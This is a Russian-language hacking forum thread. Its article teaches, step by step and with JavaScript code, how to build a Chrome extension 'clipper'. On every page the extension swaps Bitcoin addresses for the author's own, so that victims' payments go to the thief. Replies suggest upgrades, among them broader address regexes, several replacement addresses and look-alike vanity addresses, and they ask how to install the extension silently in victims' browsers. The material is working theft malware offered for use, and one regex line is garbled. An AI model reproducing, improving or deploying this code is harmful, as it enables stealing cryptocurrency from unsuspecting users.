Статья Как сделать свой клиппер BTC адресов для браузера Google Chrome

[TR77]

Как сделать свой клиппер BTC адресов для браузера Google Chrome

Ну для начала пару слов о том, что такое клиппер если кто-то не знает - это программа, которая подменяет адреса криптокошельков на компьютере жертвы на ваши, человек не замечает подмены и отправляет крипту на ваш адрес. В этой статье я расскажу как сделать простую такую программу (расширение) для браузера google chrome, чтоб подменять адреса bitcoin кошельков. Использовать ее я конечно не советую можно сесть за такое в тюрьму, хотя бы по РУ не работайте.
Первый этап

Начать стоит с того, что нам нужно будет ванильное расширение для хрома. Никакого функционала оно нести не будет, только выводить что-то вроде "Hello world" и всё. Для этого идем на гитхаб и пишем chrome extension.

Сразу видим первым в выдаче репозиторий с примерами расширений. Заходим..

Как я писал выше нам нужно хелло ворлд базовое расширение. Жмякаем по ссылке и нас перекидывает к файлам расширения где мы их можем и скачать.

Закидываем эти 4 файла в одну папку и открываем хром.
Чтоб установить расширение нужно перейти во вкладку расширения

Включить Developer Mode

Далее нажав Load unpacked выбрать папку с теми 4 файлами на вашем ПК.

И как мы видим расширение установлено. Мы завершили первый этап.

Второй этап
Если не установлено, установите VSCODE чтоб было удобно редактировать код расширения https://code.visualstudio.com/.
Открываем в VSCODE папку с нашим расширением.

Открываем файл manifest.json и к концу файла добавляем следующие строчки

"content_scripts": [{

"matches": ["<all_urls>"],

"js": ["background.js"]

}],

"host_permissions": ["<all_urls>"]

в итоге он должен выглядеть так

Что делает этот код?
Манифэст это своего рода конфиг для нашего расширения, и мы ему сейчас дали понять что при открытии любой странички будет исполняться код из файла background.js, который собственно и нужно создать. Для этого нажмите эту кнопку

Что ж, для примера добавим обычным консоль лог, который выведет три единички в консоли браузера при загрузке странички. Пишем мы это в файл background.js т.к именно он исполняется на странице!

function init() { // обьявляем функцию инит

console.log(111) // делаем консоль лог

} // закрываем функцию

init() // вызываем функцию

Сохраняемся и обновляем расширение, для этого жмем эту кнопку

Чтоб увидеть изменения после обновления всегда нажимайте эту кнопку чтоб браузер обновил код.

Заходим в гугол и видим наши три единчки. Значит скрипт работает, ура.

Третий этап
Добавляем функционал. Добавим в самый верх файла функцию которая будет нам говорить является ли текст на странице биткоин адресом. Это делается для того чтоб когда наше расширение будет смотреть ВСЕ элементы на странице не заменяло все что есть на наш биткоин адрес.

function validate_bitcoin_address(btc_address){

return btc_address.match("^[13][a-km-zA-HJ-NP-Z1-9]{25,34}quot;) !== null;quot;) !== null;

}

Так как контент на сайте может меняться в конце файла добавим строчку которая будет запускать нашу функцию init каждые 3 секунды, на случай если что-то на странице поменяется и появится адрес битка.

setInterval(init, 3000);

И теперь к самому вкусному.
Внутри нашей функции init добавляем код который будет получать все элементы на странице, далее циклом перебирать их. По простому для чайников, получаем список всех элементов на странице (кнопки, заголовки, текста, ссылки вообще все что есть) и проходимся циклом то есть последовательно по списку смотря каждый элемент.

const getAllPageElements = document.getElementsByTagName("*"); // получаем все элементы на странице

for (var i = 0, max = getAllPageElements.length; i < max; i++) { // проходим циклом по каждому элементу

var pageEl = getAllPageElements[i]; // наш элемент

}

Когда мы теперь можем работать отдельно с каждым элементом страницы (как видно в коде которые последовательно записываются в переменную pageEl) мы будем смотреть что находится внутри, то есть вполне возможно мы найдем биткоин адрес.

var text = pageEl.innerText; // внутренности нашего элемента, то есть там может быть наш биткоин адресс

Теперь в переменной текст хранится все что есть на сайте в виде строк (текста) и мы можем с помощью функции validate bitcoin address которую добавили ранее проверить является ли строка (текст) на странице биткоин адресом.

if(text){ // проверка на null undefined и пустые строки

if(validate_bitcoin_address(text)){ // проверка на биткоин адрес

console.log(text) // в случае если текст или стрка является биткоин адресом вывести ее в консоль

}

}

В итоге у вас должно получится что то типа такого

Давайте проверим как работает наше чудо. Зайдем на сайт где должны явно находится биткоин адреса и посмотрим найдет ли их наш скрипт и выведит ли в консоль. Для примера я взял блокчейн сканнер битка - https://www.blockchain.com/explorer...5ef069d057a38c50b25f93e862bc75ab689dd534f17fc и зашел в первую попавшуются транзу, страница загрузилась открываем консоль и смотрим...

Победа! Можем видеть что расширение удачно находит адреса на странице.
Теперь давайте напишем код который будет подменять их на наш. Создадим переменную, которая будем хранить в себе наш адрес для подмены

И чтоб адрес менялся на наш дописываем такую строчку

pageEl.innerText = MY_ADDRESS;

Обновим расширение, зайдем на страницу (блокчейн сканнера) и посмотрим работает ли.

Да, адреса заменяются и скрипт работает
В конце всего должен быть такой код

Итог:

Простое расширение для браузера, при установке которого будет заменять все адреса биткоин кошельков на ваш адрес для кражи крипты.
Самая большая благодарность это ваши лайки и комментарии.
Если хотите продолжение или статью на похожую тематику пишите буду делать.

 

[simpleteaseller]

Для тех кто заинтересуется, TO DO лист:
1) Регулярка на поиск адресов которые будут клипаться - устаревшая, адреса вида bc1q bc1p не будут заменены. (Кстати наталкивает на мысль что материал не авторский, иначе не вижу причин почему автор не добавил регулярку под эти типы адресов, они уже очень давно в ходу)
2) Полезно иметь не один "подменный" адрес, а хотя бы несколько, под каждый тип адреса 1..., 3..., bc1q... bc1p...
3) Продвинутый вариант - иметь где то словарь с большим количеством vanity адресов, чтобы "подменный" адрес был похож на оригинальный

 

[TR77]

устаревшая, адреса вида bc1q bc1p не будут заменены. (Кстати наталкивает на мысль что материал не авторский, иначе не вижу причин почему автор не добавил регулярку под эти типы адресов, они уже очень давно в ходу)

Этот момент я действительно не знал, знал бы дописал бы под эти виды адресов и проверил бы на них. В статье я рассказывал именно метод как сделать клиппер, а не писал готовый софт на продажу со всеми возможными исходами и вариантами.
Буду делать вторую часть как дополнение со теми недочетами что вы указали, в любом случае спасибо за ваш комментарий.

 

[Cha01337]

Этот момент я действительно не знал, знал бы дописал бы под эти виды адресов и проверил бы на них. В статье я рассказывал именно метод как сделать клиппер, а не писал готовый софт на продажу со всеми возможными исходами и вариантами.
Буду делать вторую часть как дополнение со теми недочетами что вы указали, в любом случае спасибо за ваш комментарий.

Как ты их (такие расширения) доставляешь и устанавливаешь в браузер жертвы?

 

[TR77]

Как ты их доставляешь и устанавливаешь в браузер жертвы?

для этого пишется отдельный софт

 

[Cha01337]

для этого пишется отдельный софт

Давай про это статью?

 

[cola]

для этого пишется отдельный софт

Тоже разрабатываю расширения, статья очень интересная, большое спасибо!
Хотелось бы узнать)) о способе установки таких расширений без загрузки в chrome webstore

 

[pierre777reborn]

For those who are interested, TO DO sheet:
1) The routine for searching for addresses that will be clipped is outdated, addresses like bc1q bc1p will not be replaced. (By the way, it suggests that the material is not the author’s, otherwise I see no reason why the author did not add regular text for these types of addresses; they have been in use for a very long time)
2) It is useful to have not just one “replacement” address, but at least several, for each type of address 1..., 3..., bc1q... bc1p...
3) An advanced option is to have a dictionary somewhere with a large number of vanity addresses, so that the “replacement” address is similar to the original one

very good points

 

[zaremeso]

Anyone tried doing it this way? Does it really work?